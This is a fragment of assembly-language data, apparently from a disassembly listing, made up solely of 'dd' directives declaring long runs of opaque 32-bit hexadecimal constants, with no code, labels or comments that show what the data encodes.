		dd 0BD4B26F4h, 0F5880E86h, 67C131DDh, 3044828Eh, 0B0222E30h
		dd 5898EDh, 13FDD117h, 0EB5D9A89h, 3C855Ch, 67580B4Eh
		dd 27ABC80h, 13732271h,	28685011h, 0B8888894h, 505C9C93h
		dd 0DF2C3DE0h, 9A00B049h, 45109E15h, 8CFC08h, 0B4E7ADB9h
		dd 0EEA17552h, 554AE601h, 0D0953FBCh, 7DB52D30h, 6BDD0010h
		dd 28F3BE36h, 8B0BB2A4h, 0DC050h, 0B33A6E4h, 959E0109h
		dd 0FE672612h, 0CD90884Ah, 0CCBF4294h, 90B030E3h, 810019E3h
		dd 26B80E96h, 17005EDh,	389CA821h, 206E36C5h, 81246A40h
		dd 0AF287C78h, 40003E78h, 0FAFDC2E8h, 0B06064h,	3562ECC3h
		dd 0E9390A9Dh, 4A33CF07h, 0BD40D191h, 5B955CDh,	0E23D716Ch
		dd 9FD18075h, 0FB1C89D0h, 358280D7h, 64D9A038h,	5FF00010h
		dd 7718D884h, 0CBB8C2EDh, 0AC73D400h, 8D520C29h, 4E8507D7h
		dd 2036E5BEh, 9091C8EDh, 0C92DF600h, 0AABDD482h, 5FF30199h
		dd 5E585C0Eh, 0C36E805Bh, 88FF5983h, 0A3F20063h, 0A41DEF52h
		dd 0B1001AE4h, 8BBC825Dh, 7C7F4651h, 0A32F0B23h, 4D00134Dh
		dd 0B03EA952h, 0D800617Bh, 4ABC33C9h, 82DFDAh, 6DC5DDDCh
		dd 0D9B7F727h, 0B254FB00h, 0ABF48ED2h, 0A1C8A0CBh, 967403C8h
		dd 0B124E659h, 0EB9D2790h, 2BE3F501h, 0FC522180h, 7C16834h
		dd 7125AB6Eh, 8F845944h, 9FB88016h, 7B24768Eh, 522C1C11h
		dd 7C65F00h, 2CBCA7Dh, 0BD9106D2h, 0F383C812h, 283A0310h
		dd 99AF930Bh, 0B991F901h, 706450E6h, 479C9625h,	5D9C3061h
		dd 3109EB88h, 200AE919h, 0C743DD0Ch, 0B5C20098h, 78021468h
		dd 0C6042C99h, 0AB4D7980h, 3F27CFC0h, 0C1242649h, 6E20030h
		dd 0CA5AA98Ch, 0E37110C0h, 0B15DBF3h, 0EDB38E79h, 0B8A28460h
		dd 9A29EF00h, 0B40C88Bh, 734B007Fh, 7CD0631h, 88303E76h
		dd 0C256C872h, 29C1003Dh, 0FD205B04h, 7E00B56Bh, 0B71F9BFEh
		dd 4B3875Eh, 4E1B2988h,	447480BAh, 2F01F1A8h, 7CBBFCD6h
		dd 1BE08F06h, 748B1CDAh, 5DA10014h, 0BA794BE5h,	78195Ch
		dd 81A01376h, 9F74094h,	5E5C6DA6h, 0FE3D3080h, 0F939DA73h
		dd 75C19FECh, 0FCD4CD80h, 251AC2FBh, 0D002171Ch, 0C058404Ah
		dd 1622FA01h, 0F6029443h, 757B3D8h, 44D88DD7h, 288BE0B9h
		dd 873FCBD4h, 0A5AA00D1h, 0C44C9D67h, 35720011h, 0B8F18DE6h
		dd 0B8B08E3Eh, 0F7031C16h, 614B98D0h, 50A50076h, 18A1640h
		dd 0CF006414h, 70C457BAh, 2EA178EFh, 9B02675h, 2C206F8Bh
		dd 0CE4BC1A0h, 1644331Ch, 0B400B028h, 725B8E11h, 78DB965h
		dd 0D5B3DC6Bh, 80910464h, 967C5505h, 3C458F3Ah,	424C003Bh
		dd 54FFB051h, 0B48E00B7h, 0DC190BF2h, 4800A4C4h, 0E7A89710h
		dd 76E398h, 95C758E4h, 32B47AF5h, 8E014D01h, 6784CB42h
		dd 3071430h, 47636E9Ah,	0DEA8FF9Fh, 8200622Ah, 0C8CAC37Fh
		dd 0AF2694h, 799C8A90h,	0E3FD66E7h, 74284260h, 39375758h
		dd 0BC802B97h, 0F3A7CD9Dh, 4060F6C4h, 3A5964B8h, 0AEFF0181h
		dd 0D4C9F2E9h, 9866F0CDh, 0D505B500h, 26594150h, 0F0B000Eh
		dd 2CEAEBC3h, 6502B4A4h, 0F8633864h, 8FAC4006h,	0FE4E1D2Dh
		dd 0C2CC00A1h, 0A5B7C33Ch, 17E34D00h, 0F89D3305h, 78197A63h
		dd 6F9051h, 0EE1E78C4h,	8DFD5EA4h, 0DEB82E00h, 0BF98E3AFh
		dd 3392006Dh, 0FE5ED03h, 1800E1F7h, 0BECA11CFh,	7E4E628h
		dd 0AC6CF619h, 0A2CE0DFh, 5A003D07h, 2A5347CEh,	0EA6213h
		dd 38F16FE2h, 17107457h, 0C089DF01h, 6A019666h,	2625807Eh
		dd 560FF74Ah, 405EE0EFh, 0B415115Dh, 0E30E0E9Ch, 0DC205774h
		dd 77832E3Fh, 0D78AF700h, 31CE159Bh, 0A18E00C0h, 0BC84C63Bh
		dd 0C2006ED0h, 3309D12h, 11BEF4h, 38DEAF61h, 0DF0627Ah
		dd 39C38A00h, 0E2C6504Bh
		dd 0CF820063h, 102E2C40h, 0A3001AF7h, 0A10F6133h, 7EC3EF31h
		dd 673A1DADh, 225940EEh, 3B4DBB5h, 301348h, 0E988EC81h
		dd 0F441B3h, 0BE89128Fh, 19662FDAh, 28086507h, 83C0A47Bh
		dd 7BA458Ch, 0A0645FD6h, 27FCD066h, 7716FEC4h, 100027Ah
		dd 492A0442h, 0F17101F8h, 62F463F5h, 779FD410h,	9ECA5612h
		dd 0E6544Eh, 247958A9h,	0D66100A6h, 0F0D13167h,	3A74E5C3h
		dd 366DEC0Fh, 0FC6B20CFh, 3A95FAC5h, 3BF4C7FEh,	9300A0C9h
		dd 68FFBDC4h, 91003AD3h, 8E36CF9Bh, 12B8D896h, 312F5DCh
		dd 86C1B42Ch, 0A4FA40D7h, 8E610D88h, 80829E18h,	1B39D6E8h
		dd 78C6FCCEh, 430FF8A0h, 2DA84160h, 0DE9AE7C5h,	0F9150130h
		dd 8017E561h, 1B76F308h, 12A232CAh, 4BC4CCh, 0FC01316h
		dd 3A1F0C3Fh, 430F519Fh, 0DA1A0087h, 2CCFCAE0h,	12819Eh
		dd 41A739AEh, 0CB0C99ADh, 69965BD7h, 0FFB70F8Fh, 612121C4h
		dd 5081598Ch, 0AD392A9Ch, 80A6733Ch, 61108D0Dh,	0A0E90E62h
		dd 7495D58h, 8A4E2C31h,	1F02605Bh, 0AC7DBBD3h, 463F6F0Fh
		dd 0A52A831Eh, 2008F0F0h, 560403F7h, 0B5103C7Ah, 64B77FC0h
		dd 3683D700h, 0E73F47F6h, 8DCE00C8h, 0C1E02DBCh, 30008196h
		dd 3E9F265h, 0EAA9AF15h, 854C0047h, 7F48013Bh, 3300AA09h
		dd 51E808F4h, 3900DEEh,	69DDF11Ah, 0EBC084FAh, 0D300A720h
		dd 0C304E216h, 76D23CB8h, 7E3F0026h, 892F3848h,	223E8009h
		dd 95EB0166h, 0F6CE4DBFh, 8E9483DEh, 715EB88Dh,	0A4C9501Ch
		dd 895F7A4h, 660098B0h,	2A55ED6h, 6B0051FEh, 170AA229h
		dd 37F418h, 7BCD82FAh, 2CC843A1h, 7A46C305h, 0C4003DE1h
		dd 0A5F28D6Bh, 918921Eh, 22E66CA1h, 4189ED80h, 8674D98Ch
		dd 0CA210860h, 1E75E665h, 0D83016D5h, 98BA6025h, 0A187460Ch
		dd 7001290Ah, 21C86097h, 8F329834h, 30938D80h, 691818E8h
		dd 0C419AB01h, 0C8F9ED3Dh, 5E08D018h, 0C4D91C73h, 0D8C0408Fh
		dd 603E65Eh, 6B85DC90h,	2A0CD024h, 0E8A4CC8Ch, 3E4D0086h
		dd 7C715779h, 0FA013D64h, 8F2FCB34h, 20E8DFCAh,	0C44F0081h
		dd 942BF258h, 5D0EAABCh, 0A0632EECh, 69B3491Ah,	7F9D1260h
		dd 91190310h, 0A397246Eh, 21A8D0A2h, 0F528E169h, 0A800B905h
		dd 5A221BF2h, 13C9A4h, 0DD85AC23h, 37F60679h, 8A0E092Eh
		dd 6393C40Eh, 0F05E3F78h, 0FE9EEFh, 5A3463C5h, 0CC670AC6h
		dd 0E6CE1F00h, 0B8C00E64h, 1E8E0784h, 81209456h, 6B12D115h
		dd 0E1CA2B00h, 5D9506h,	0F95B7983h, 12FBC105h, 0D8E5DD01h
		dd 10B6CF33h, 0B7E25D8h, 5782F7C3h, 0D09E0787h,	7A0180EAh
		dd 63497700h, 18CD4A98h, 1EC700C5h, 0F1684261h,	887E0E92h
		dd 2886240Ch, 52D1D0C0h, 0B0AE04BFh, 975922h, 0A2B86F0Bh
		dd 8A30C03Ch, 0DDBC9800h, 37B39EA1h, 0DA201D79h, 0E82E83A0h
		dd 53C0A2FBh, 0D3039230h, 21A1AE31h, 4228C6E5h,	0A4ED1106h
		dd 11D0EE11h, 0B221E74Dh, 23964E04h, 44D12A04h,	0BE48E1C4h
		dd 9097A84Fh, 3CB48AC6h, 2B8F8A10h, 14C22891h, 0C9ACD931h
		dd 0C411A776h, 839E122Bh, 28B5EA50h, 2228A229h,	0DA422C08h
		dd 77AF4911h, 3CB929C0h, 5C6F662Dh, 6800C6F6h, 0D4FC1A21h
		dd 0CB00BE1Dh, 9E34D6C8h, 97AE18h, 67F9944h, 4A245413h
		dd 8046A738h, 85B75DBCh, 225014h, 5F2EA4BBh, 1DFF60B9h
		dd 1F4C5100h, 0C9DEE7D7h, 0EA796061h, 0B37A8293h, 0DC04777Ah
		dd 546F39C6h, 0F1BBC7C0h, 0B1EE170Fh, 4FDF00CEh, 4998AB3h
		dd 8F8650Fh, 83D1C10Ah,	0ADC8261Bh, 47E10277h, 9C3FF7F5h
		dd 0A724D6E0h, 915FE600h, 948A42BBh, 3722009Bh,	233BCA4Dh
		dd 0C63F85BDh, 28B70E21h, 0F654402Ch, 170FB5A8h, 0CD56E7Ah
		dd 26681FA9h, 1DE5B01Dh, 87074943h, 0FFAE8027h,	89A2000Ah
		dd 82F8BD7Dh, 74002BA9h, 0A886AD7Bh, 60D7AE2Ch,	940A401Bh
		dd 9F004D10h, 0CEDFD588h, 3103436Fh, 0B520085Ah, 8A31F828h
		dd 78210C00h, 428EC3BFh, 0C0C8DE1Eh, 27B70B0h, 0A5006365h
		dd 56127CFh, 70FDA9Fh, 0D968DE93h, 3A80FEC9h, 896A0BAAh
		dd 0EE036104h, 0D8786A0h, 5A275930h, 3A710021h,	223E2F66h
		dd 5D00F88Dh, 0B53D0614h, 0ED0D08h, 0A97C494Fh,	72BB7696h
		dd 0B1B6DE00h, 14601B50h, 78E8000Eh, 7F9C8C2Eh,	270084BAh
		dd 1C64428Fh, 0C78ACBh,	0D07D1BB0h, 266A1789h, 87784A9h
		dd 7B4200F8h, 6BD5FECBh, 21EED0C8h, 8B7422F2h, 0F7ED7900h
		dd 0B5F916B7h, 0AC120363h, 0E509AB9h, 62180CB8h, 4956800h
		dd 0A82E96Ah, 5269003Ch, 15C70D9h, 0F4007B0Dh, 8A27BC4Ch
		dd 44481Bh, 0DB97B426h,	68ADEFF8h, 0F9BFEA00h, 38B0724h
		dd 0BB060A3Ch, 3C9C0ECAh, 3F05DE03h, 3D9038E8h,	9D0045A9h
		dd 1E9C994Ch, 3D826FC1h, 88802074h, 375762D3h, 7900D2DFh
		dd 149FBADDh, 7AE43101h, 718B3F4Dh, 8ED59680h, 0E5530A16h
		dd 3657A501h, 33786BF9h, 3725C0h, 623D2E87h, 53BB21EEh
		dd 97BD020Ch, 1AF5277h,	5EA3E62Fh, 47ABA990h, 1BB940ACh
		dd 3C48E978h, 6E8100AFh, 0EB75B892h, 6FC720Dh, 9FCF2638h
		dd 1902304Eh, 0C399B602h, 0EA2C4037h, 16278804h, 1EA2871Fh
		dd 6A7BFE40h, 13441121h, 0EBD165A8h, 0CCD93100h, 95027827h
		dd 0D00036F0h, 5B84B0A6h, 1E1D84Bh, 8C36414Ch, 30937262h
		dd 1400CCC2h, 0F6C9AF4h, 7A6A80h, 0EC5CC29Fh, 0D8CBBA42h
		dd 4EF26900h, 12DD4BC4h, 3B1AE694h, 8D81F029h, 7C93895Fh
		dd 0D01180D5h, 0ABF5EE45h, 8A49004Ch, 5161CFC1h, 0D40003B2h
		dd 582C7CE2h, 7B31AA34h, 129A00E3h, 0C695D5D8h,	5B00130Dh
		dd 0EB236E78h, 1C98228h, 9668B005h, 44F70EA9h, 0D7890084h
		dd 8F8C20E5h, 0FEF57B50h, 0BACC881Ch, 4119474Fh, 0D3AEDC9Fh
		dd 16D2CCh, 4DB0028Ah, 9B25EEDFh, 0A0D8DD00h, 0ECFF6D8Bh
		dd 0DB6600CFh, 1B19D1EDh, 0AA0062C3h, 503DD969h, 0B83E9Fh
		dd 2EFDC4A3h, 1D178ACCh, 0DB4DE500h, 7642B98h, 0D4A2002Fh
		dd 6FC72A81h, 0EE1433DFh, 0FC4DD1Ch, 0B232901Ah, 0D8C51841h
		dd 60C905ACh, 0FA4A60h,	0B0CEC93Ch, 65D427E0h, 18283360h
		dd 1980A43h, 2B901281h,	2205457Ch, 0B0F006B8h, 100AFEh
		dd 9EE9C375h, 14F11834h, 0D1B1DC00h, 0AB952AB8h, 1CC94853h
		dd 52CEC009h, 9FD0A4A0h, 3CE4D189h, 92F60209h, 88B880CBh
		dd 19203ECFh, 20829DC9h, 0DB4ED47Ah, 3F57B800h,	8C102B95h
		dd 6BF800FCh, 8F208056h, 2D188ECCh, 0BD68D80Ah,	1AE7034Bh
		dd 4EAB02D5h, 11DC5800h, 83E34CD6h, 1D749Ah, 613B2188h
		dd 13E0DA87h, 0D3E9940Ch, 0ADA863h, 732C12F6h, 8E52C42Ah
		dd 0CDB83F00h, 296B19BAh, 0DAE52C6Eh, 1C200018h, 696C6603h
		dd 9C3C9728h, 6DC9CA04h, 78804484h, 2D6149Eh, 37C6808h
		dd 40481EDFh, 0AA00E101h, 14777038h, 0C36976h, 34FAFD89h
		dd 0BE3A5B10h, 75908C00h, 73628A0Bh, 0DC0E00C5h, 0BBA61F0Ch
		dd 0E0A07766h, 6C1D6533h, 0E3403E89h, 0D8353B8Eh, 21240090h
		dd 0D5F4DC77h, 0EB1E201Eh, 46406215h, 0D62794EEh, 90C403E1h
		dd 0C24E7A5h, 5A080798h, 543BC00Eh, 1219A167h, 0B834D0BDh
		dd 3C9F0078h, 0FEF8F1B2h, 3D09F213h, 6889F9h, 19E9BFE4h
		dd 10710026h, 0F85CB998h, 6A00B275h, 9B5DFF7Ch,	729FD8h
		dd 0EBAD2D0h, 19CE01A9h, 88537E00h, 2E634203h, 0E85E24E2h
		dd 705C02E0h, 5861368Ah, 44986011h, 4E3D411Fh, 197068Eh
		dd 60B3B93Ch, 0CF9FD841h
		dd 2257ED8h, 1D816F46h,	1FE0DE85h, 8D012A70h, 0F65A2129h
		dd 0A3D5A9B8h, 9374C0h,	0CFBECC56h, 0BD1BAEBAh,	0AA6D4500h
		dd 4043953Ah, 8A5501EDh, 4C4876B7h, 0E807FF3Eh,	6828CD2Eh
		dd 0DE50B870h, 0FFD90689h, 30E2B678h, 170548h, 2075F73Dh
		dd 36B23Ah, 0A6C459F8h,	0B62583D7h, 14506E00h, 846CC64h
		dd 0B340082h, 47EFFC21h, 0C502E9C0h, 1D0A1A69h,	0C053C231h
		dd 26E40Dh, 277143CBh, 74C62F68h, 81511A00h, 0C9048B57h
		dd 7E150083h, 9502219Eh, 2400BB09h, 0BF723DFCh,	51B789h
		dd 19484FE2h, 0A3B37545h, 801C1B4Ch, 47A6D2C5h,	0CE0900DEh
		dd 0A9B14A1h, 5373BEB9h, 0FF5D8600h, 0CFB75F9h,	7294007Dh
		dd 1FA8F778h, 8B142F0Fh, 2C45EE0h, 0EA0E232Bh, 2DF460E1h
		dd 7BC900C8h, 57B438B1h, 0FA00C599h, 0ED542296h, 53676Dh
		dd 0BF0ADC30h, 7ACE2B45h, 39590703h, 0D1799629h, 0C450FC3Eh
		dd 91BC22CBh, 0E3948CECh, 45003B18h, 0D36A6D32h, 7AA280h
		dd 0E6B2EF56h, 0D779C728h, 2FF73400h, 3FDEAD99h, 664C1C88h
		dd 98684075h, 0D3D624F0h, 0EB36CA05h, 16C0BA07h, 0E46C6A78h
		dd 227CFCh, 799EDD84h, 3B2BB038h, 80548F3Eh, 0B2462C5Fh
		dd 2EA293h, 5F223D2h, 0ADF01327h, 118FE10Eh, 1890A05Ah
		dd 4839708Eh, 3C00F0A8h, 0BFAEE250h, 0CF07DA27h, 3571060Fh
		dd 64AB2130h, 0D929C7B2h, 0DCA9E0F4h, 0A9CE9753h, 5E152047h
		dd 0FD2FC0B7h, 6E432880h, 0D938E193h, 857FAA75h, 8100DC90h
		dd 3F9CAF17h, 0C3D05Ch,	13308DF5h, 0BD703651h, 2B49AE00h
		dd 0D4BAD141h, 485C989Eh, 2904AFC7h, 0C0886C42h, 0C073DA3Ch
		dd 3FACBA00h, 0EC4D5DBCh, 3A84A0D1h, 609000E6h,	5EE1B613h
		dd 12EE1073h, 7D6FE8FDh, 71AF2900h, 33D4424Bh, 0FB7A13h
		dd 0EF618C1Eh, 6C7090A4h, 529FA802h, 4987FFB3h,	0D0800B20h
		dd 0ABFBC1CAh, 6800AF0Dh, 0D4981DDAh, 182479B4h, 1C02F615h
		dd 3C07874Dh, 1F2A3F90h, 0DAE78B20h, 59B902E4h,	0A1D97609h
		dd 2088C0C1h, 2A00AB14h, 37B701Ch, 0A90245h, 21E5B94Eh
		dd 0E7EE397Dh, 23223F00h, 0CF9097Ch, 0A4D000A3h, 3EE8C250h
		dd 4102ED35h, 0C8B58E54h, 8426E0EEh, 347612FBh,	0AC1CC0C3h
		dd 349828CBh, 0D464B40Fh, 0B6EA186h, 20802C89h,	0EEF98123h
		dd 0BD0080C1h, 11866C1Eh, 6AE955h, 5A1FCA47h, 3515BF3h
		dd 0AC98DBB8h, 0E0FE5600h, 7FAB2098h, 8F53007Bh, 378A2D85h
		dd 0A50212A7h, 0A161DC39h, 88F8807Eh, 7F2E893h,	3F0411D6h
		dd 914FA00Ch, 7300E958h, 0A2692652h, 0CB4055h, 0B0C25310h
		dd 32801EB7h, 0B500727Ah, 0C99B8A27h, 34A6C5h, 1B7B58E2h
		dd 3F6BEB2Dh, 87A77900h, 8EBC810Bh, 894A0038h, 5E83F38Ah
		dd 6800BF84h, 2ABD69BBh, 73CC1DC5h, 419F0919h, 888FF1EFh
		dd 62500961h, 0CC396121h, 480303ECh, 0AF6C6EADh, 0C6A2801Eh
		dd 84A30BD9h, 0C40027CFh, 0CC925BB3h, 47E58C00h, 0B99DFFFEh
		dd 0F0EE045Dh, 0B0CBFBEBh, 1CB0D2D8h, 0FA9B9400h, 809FCA7Dh
		dd 2FFB0CE7h, 0BC8A3205h, 8F388D60h, 4EB9507h, 0C1A63B6Ch
		dd 59D48246h, 0F4822C63h, 4D77AC40h, 80FD5E3Ah,	451D3A64h
		dd 5CEF54h, 0BE109F7Fh,	5E70CD34h, 0F68CF5Ch, 3FCEFA73h
		dd 5D6400FEh, 0CC23D596h, 76BE181Bh, 700B34F6h,	0BF3F39h
		dd 387EE2FEh, 2CA005A1h, 83444A91h, 8BB9BD83h, 755B8588h
		dd 0D20E5570h, 0E7C01A60h, 2100061Bh, 4B12Ch, 0ADC272D6h
		dd 0B20EE92Dh, 51918200h, 0A1B8399Eh, 40C2DE4Fh, 0C63F258Bh
		dd 343DD56Fh, 0E1848F13h, 5D096075h, 90AB69B1h,	3AA9012Dh
		dd 8CE2A6D8h, 890460DDh, 5D03CAE4h, 3501426Fh, 9901F773h
		dd 40304DD1h, 0ACE14837h, 9627513h, 0F8A0639Ah,	1FF998D0h
		dd 9A2FEF00h, 25DC31B1h, 21D500D2h, 0D1EDC841h,	9E0057ACh
		dd 22BED836h, 0EF69764h, 6B7C4A28h, 0E52D7120h,	0D5000363h
		dd 0FE2B2CFCh, 90CC049h, 0AA77632h, 0BDB1C80h, 245CB3C8h
		dd 8921FA00h, 1B91CA4h,	0CC6AB138h, 603824DAh, 2F49A700h
		dd 28988556h, 0A42E4Ch,	0C99AFBD0h, 60F18EDAh, 0D3C0C859h
		dd 0D200A3DEh, 9A9722ACh, 1D49CFA8h, 90B43477h,	0BB0A0027h
		dd 2AF43042h, 9CFC4C18h, 70041876h, 0E792061h, 2C0018B1h
		dd 220D9AA7h, 92B21ED4h, 26C4270h, 0E050E143h, 0BFF7CC02h
		dd 0E03937A5h, 0B720C7h, 2168B02Bh, 0AE14401Dh,	8501AFE6h
		dd 2972A0B3h, 2887F6CEh, 0D6A71AD1h, 990F2A98h,	0CB9430DDh
		dd 0D5F900B1h, 40CE71h,	0E57015D4h, 6E10936Ah, 452FAB00h
		dd 0A667FA5Bh, 89EF03ADh, 870C8A2Eh, 0B7201D8h,	50696A2Ch
		dd 1A6E8600h, 2C04Eh, 7E39F444h, 4E77FF9h, 52CDAA00h, 0F3A69175h
		dd 8423E722h, 8034931Dh, 827E14B8h, 0D100E929h,	0DF6510EDh
		dd 4A9694Fh, 26683AE0h,	1D90807Ch, 37003E59h, 0EE410EB2h
		dd 0F811E82Eh, 4DE7007Eh, 0B62CD59Ah, 46008AFFh, 0FEB43A03h
		dd 3AF955E4h, 80CD21ACh, 68EA0273h, 2D7F7116h, 0FA2E9048h
		dd 3BE0AD58h, 1DC08011h, 6527F2AFh, 9026004Eh, 0CA032A76h
		dd 0EE0E228Bh, 3418E9FAh, 7F5300CCh, 0BBBA05ECh, 941E245Bh
		dd 0C07A1D63h, 0F571474Eh, 0AF011FA1h, 97AE11E6h, 7424A6C1h
		dd 0FB1D37D8h, 0C0068478h, 401211A4h, 0B03FDD00h, 0F6C4CC7Ah
		dd 9E20C0C6h, 7055E7C5h, 0E8DF9C01h, 7B8EAE2Dh,	17CA4ADCh
		dd 90BE934h, 78D0B978h,	0D1FAA600h, 3F8F1C01h, 0CD6B00B4h
		dd 0DC9830E8h, 9E129F9Bh, 0E000DE16h, 2BB22609h, 0A56F00C7h
		dd 973A8969h, 0FB264B96h, 8100A356h, 83110714h,	0C33E0277h
		dd 78B6D6EEh, 0F08A86E0h, 3A5C25h, 17AEA1A8h, 0F9A23F15h
		dd 589C680h, 0E23CE1B4h, 1294B548h, 0ECC0276Ch,	941AC9h
		dd 5B845CD5h, 0BC9533D7h, 276ED301h, 42042B8Eh,	2C79A424h
		dd 80CC0F1Ch, 0E46D4D06h, 0D0968F2Eh, 1F938201h, 4F00456Ah
		dd 0B9F41E7Bh, 8B1BA900h, 99E74E69h, 2265CC3h, 356A0F00h
		dd 93B61694h, 0FD5D0400h, 0C0E0BFF8h, 2BAD0389h, 9BAA7B43h
		dd 8873FCC8h, 0AB729100h, 505F5C1Ah, 2612E635h,	0A8690Bh
		dd 0EA214314h, 9E090857h, 809C7523h, 3AB78168h,	8733400Bh
		dd 56D23700h, 59166E4Dh, 47AC0E04h, 33C0F4E9h, 658ED0C5h
		dd 0C1218614h, 7E1880E4h, 0F4D174h, 24735662h, 4582800Dh
		dd 5901E9E8h, 4F8A5475h, 0A428E096h, 42176583h,	0E330B1E7h
		dd 3CE0EE1Dh, 0C008413h, 74050B7Eh, 40A5E7h, 23542B93h
		dd 89D06E53h, 98C8B03Fh, 0D24026FFh, 0AE0C0282h, 0D91F7F64h
		dd 0D021A580h, 0EB715381h, 9463Dh, 0A902E88h, 569AE6Eh
		dd 39775D8Ah, 6FD408BFh, 0A8F41F01h, 4430F9CAh,	0DA9907CBh
		dd 602BDECCh, 0BAD8D85h, 2FFD1603h, 0FAA94CA3h,	0BDB080A2h
		dd 761FC532h, 0E4D01CFAh, 0A795408Fh, 407D47BAh, 0E1F448h
		dd 83AE2102h, 0C071F7EBh, 6E090D78h, 0B1EEE207h, 0DB9EFE00h
		dd 94E9AF81h, 56A007Dh,	354FA65Fh, 2A007357h, 45D45EE4h
		dd 113C69h, 4C8A8B94h, 86B81A48h, 0A6EF433Ah, 0BE001054h
		dd 0CA4DA82Ah, 179F014Eh, 0DC1159Ah, 0C3A0604Ch, 341C5Ch
		dd 0A1602729h, 6EE8Fh, 9F9E2EF1h, 5C5AF218h, 7D6BCB00h
		dd 0D858DFECh, 79B7144Eh, 2B07E421h, 0E699423Bh, 0E10FE0D1h
		dd 0F4BD76Ch, 0C047C1A8h, 0B8CB7860h, 3AA1735h,	0D48A7698h
		dd 0E6B854C3h, 8B00EFC4h, 2F6423Fh, 90F73694h, 1538261Ch
		dd 181742h
		dd 9F36FC0h, 5C0ACE11h,	0DC0D191Ch, 20A34940h, 0F4EF0087h
		dd 6268943Dh, 0A025A632h, 2D7C0Dh, 378A4951h, 447E0AD1h
		dd 9E89BF01h, 0A91045ABh, 58A7D420h, 0F03D966Ch, 56D6979Dh
		dd 0EB0C0F1h, 47F4F343h, 803AC839h, 46BFA57Eh, 0E83BEFh
		dd 9CF7AB0Bh, 21419619h, 29D5A801h, 0EC2BBD6Bh,	1CDC1C21h
		dd 42625B04h, 9283974Ch, 2AA602E0h, 550CCE03h, 0E2E3AA0Fh
		dd 26062B3h, 4811E4FBh,	0C015D80h, 42A124D7h, 14135E10h
		dd 2880410Dh, 3EBA9D4Fh, 98028F4Ch, 57B9CA17h, 0ED3B2940h
		dd 13F52D3Bh, 4040A0D3h, 107A41FBh, 3C1D0206h, 4A36EE9Eh
		dd 5505A4D0h, 78E34309h, 24D030F4h, 1B05C57h, 2D13D1F4h
		dd 0E06CD9h, 0F84E6360h, 18C359C9h, 603EB58Eh, 715D958Ah
		dd 53858250h, 67B06830h, 33C10FA0h, 0F3C1CBD0h,	0E89C8B91h
		dd 0DE00DBECh, 0EA93275Eh, 0CB0B8Dh, 0F2FF8FA7h, 11BD576Fh
		dd 3AEF9104h, 94C1682Eh, 5B705D14h, 0DF58C028h,	9008B90Eh
		dd 7F7C3B0Fh, 885C8078h, 3CB246CCh, 4A804DCBh, 16F5AB8Ah
		dd 28305ED3h, 7114C873h, 0AC350038h, 79E5B033h,	470E62F9h
		dd 2529AA39h, 5C90C381h, 25D0F2h, 2106BBC6h, 63EEB762h
		dd 0B1DC20F9h, 34825500h, 0E2E51D76h, 35270092h, 71F022D1h
		dd 1800D93Eh, 234EF37Ah, 80657h, 0A2A1E862h, 5CF5C5D0h
		dd 4030F00h, 96DAFCAEh,	0D86E5023h, 56BA1F90h, 0C608C0D9h
		dd 3EFDA1D6h, 6BCA580Bh, 0DCEB0093h, 43C536h, 0B5392EB7h
		dd 6784D947h, 4CFFC700h, 1EB10F6Fh, 13B9002Ah, 2FEDCD50h
		dd 2400AE43h, 0D95A80E9h, 0B116454h, 89A22701h,	2923BCC4h
		dd 0FE2408D7h, 28005F11h, 3BCD625h, 0C752FDDh, 0D4FF5102h
		dd 58A74465h, 6AA900F8h, 0A614D8EFh, 0C7044092h, 0F72DEEEh
		dd 61F2E880h, 0A1330031h, 0C290E18Eh, 0CA001003h, 85F52035h
		dd 9D18818h, 14B4D669h,	22EFEC80h, 8C920C3Eh, 9FE20A1Eh
		dd 0CD388D00h, 342D70h,	2B546867h, 0EBD9C379h, 0F026600h
		dd 5832C14Dh, 0D8C002Eh, 20D1EECAh, 1A1452B6h, 0F8F5AFh
		dd 2921B122h, 1CC6FCBh,	30BB8138h, 385B8CEDh, 0B6FE0F2Ch
		dd 159807C8h, 26848E41h, 979060h, 5D46CA07h, 8B09E67Eh
		dd 19D7BC12h, 0B503F603h, 0BEF2B020h, 0B9B100B0h, 0ABFC3F5Bh
		dd 8600C44Eh, 20A6B2C6h, 0EC655DB5h, 7ABD09D2h,	51807308h
		dd 25507E3Fh, 17B7CD00h, 0FFC4383Ah, 6EBA1C28h,	0D3BE4080h
		dd 1DC9DD1Ch, 89EA001h,	0E4BDE05Dh, 953630h, 0B053E24Fh
		dd 54D3FE7Fh, 309AFE6h,	240CA770h, 4CD8450Ch, 189005E3h
		dd 0D042E70Ah, 0EE434748h, 80266938h, 18948341h, 0D0A306h
		dd 176EF852h, 0EA9F11FDh, 0CC0330BCh, 8AE845F2h, 3B3CC051h
		dd 91A20461h, 0A17830EEh, 1D55E0E8h, 11204A60h,	6C85D1Ch
		dd 393CA8A0h, 38901908h, 0E0528000h, 322AF2E1h,	0B4713954h
		dd 2BE73380h, 7F1CFD1Bh, 99868B00h, 9CEFA62Ah, 333F0041h
		dd 966AAE3Eh, 77002935h, 0A17A3210h, 0F8E3818h,	0FBE2ED6Fh
		dd 33E48000h, 750F7E50h, 5E8430ADh, 0FF4D7CC2h,	0D036404Bh
		dd 0FB821CF2h, 4E80FC94h, 2C87EE1Ah, 0A40027F4h, 485119E6h
		dd 4D18682Fh, 1703B0C2h, 49E18FB6h, 0A5302Dh, 68A9E0FCh
		dd 2B2E00C0h, 53D8767Ah, 0A2003196h, 4CC14F93h,	2FB811DFh
		dd 30A07B1Bh, 0FA9B0D59h, 87D4640Eh, 8186E727h,	3CD29D70h
		dd 20F00EF8h, 4016F348h, 802AC060h, 8101AB71h, 941F5893h
		dd 18FB78FFh, 10075B98h, 8F8AE9C7h, 0E6510330h,	1F59C347h
		dd 20BEA620h, 13988A0Ch, 0E20582Fh, 0A940D193h,	0F6EA7180h
		dd 4501CA97h, 0D2DE291Dh, 0E1F090FDh, 7D67002Eh, 445CED79h
		dd 2B30A913h, 5A986859h, 0E8581560h, 5C42948Eh,	0D65B2601h
		dd 0D03B32E7h, 521520F6h, 36C06F3h, 11AC8EF2h, 8C12D090h
		dd 558B077Eh, 1CD6AF94h, 0FE0071C0h, 4ACE44DEh,	0D427ACh
		dd 588CEA50h, 367A33EBh, 38356C00h, 37667570h, 6EC50077h
		dd 14E5F785h, 86ECB72Eh, 2FA8D00h, 9A2F2D3Ah, 0DDBC07EEh
		dd 70C20734h, 9564BD35h, 92A4B239h, 4C1C87Ah, 92D5E9B9h
		dd 2AB0D9B4h, 1100AB04h, 0E5E4C7E9h, 0D53E034Eh, 0EECAACCDh
